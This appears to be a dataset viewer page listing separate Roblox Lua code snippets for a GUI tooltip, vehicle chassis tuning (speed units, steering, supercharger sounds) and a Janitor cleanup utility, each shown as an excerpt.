--- Change tooltip position (to follow mouse)
tooltip.Position = UDim2.new(0, (mouse.X + 17), 0, mouse.Y)
else
--- Mouse is no longer over. CANCEL!
cancel = true
end
--- Wait
_L.Services.RunService.RenderStepped:wait()
end
--- Dispose
remove()
end
--- Mouse events
events[#events + 1] = element.MouseEnter:Connect(function()
--- Mouse entered, create tooltip
remove()
create()
end)
--
events[#events + 1] = element.MouseLeave:Connect(function()
--- Mouse exited, remove tooltip
remove()
end)
--- Return function to cancel this behavior
return function()
--- Clear events
for _, event in ipairs(events) do
event:disconnect()
end
events = nil
--- Cancel
cancel = true
end
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 160 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 260 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 280 ,
spInc = 30 , -- Increment between labelled notches
}
}
|
--[[Steering]]
|
Tune.SteeringType = 'New' -- New = Precise steering calculations based on real life steering assembly (LuaInt)
-- Old = Previous steering calculations
-- New Options
Tune.SteerRatio = 15/1 -- Steering ratio of your steering rack, google it for your car
Tune.LockToLock = 2.6 -- Number of turns of the steering wheel lock to lock, google it for your car
Tune.Ackerman = .9 -- If you don't know what it is don't touch it, ranges from .7 to 1.2
-- Old Options
Tune.SteerInner = 45 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 38 -- Outer wheel steering angle (in degrees)
--Four Wheel Steering (LuaInt)
Tune.FWSteer = 'Both' -- Static, Speed, Both, or None
Tune.RSteerOuter = 0 -- Outer rear wheel steering angle (in degrees)
Tune.RSteerInner = 0 -- Inner rear wheel steering angle (in degrees)
Tune.RSteerSpeed = 60 -- Speed at which 4WS fully activates (Speed), deactivates (Static), or transition begins (Both) (SPS)
Tune.RSteerDecay = 330 -- Speed of gradient cutoff (in SPS)
-- Rear Steer Gyro Tuning
Tune.RSteerD = 1000 -- Steering Dampening
Tune.RSteerMaxTorque = 50000 -- Steering Force
Tune.RSteerP = 100000 -- Steering Aggressiveness
-- General Steering
Tune.SteerSpeed = .07 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
-- Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- Core part:
|
while true do
wait()
wait()
if curPlayer~=nil then
if seat.Throttle == 1 then onForward(curPlayer) end
if seat.Throttle == -1 then onBackward(curPlayer) end
if seat.Steer == 1 then onTurnRight(curPlayer) end
if seat.Steer == -1 then onTurnLeft(curPlayer) end
end
if djoin==true then onSitUp(curPlayer) end
end
|
-- humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25)
| |
--Supercharger
|
local Whine_Pitch = 1.8 --max pitch of the whine (not exact so might have to mess with it)
local S_Loudness = 1.3 --volume of the supercharger(s) (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("Whine")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
if not _Tune.Engine then return end
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
handler:FireServer("playSound","Whine")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("Whine")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = _Tune.Turbochargers
local _SCount = _Tune.Superchargers
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/((_Tune.T_Boost*_TCount)+(_Tune.S_Boost*_SCount)))*2)
local tpsi = (((script.Parent.Values.BoostTurbo.Value)/(_Tune.T_Boost*_TCount))*2)
local spsi = ((script.Parent.Values.BoostSuper.Value)/(_Tune.S_Boost*_SCount))
--(script.Parent.Values.RPM.Value/_Tune.Redline)
local WP,WV,BP,BV,HP,HV = 0,0,0,0,0,0
BOVact = math.floor(tpsi*20)
if _TCount~=0 then
WP = (tpsi)
WV = (tpsi/4)*T_Loudness
BP = (1-(-tpsi/20))*BOV_Pitch
BV = (((-0.5+((tpsi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
else
WP,WV,BP,BV=0,0,0,0
end
if _SCount~=0 then
HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch
HV = (spsi/4)*S_Loudness
else
HP,HV = 0,0
end
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(tpsi*20)
ticc = tick()
end
end
|
--[[**
Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the job using `__index`.
@param [t:any] Index The index that the object is stored under.
@returns [t:any?] This will return the object if it is found, but it won't return anything if it doesn't exist.
**--]]
|
function Janitor.__index:Get(Index)
local This = self[IndicesReference]
if This then
return This[Index]
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.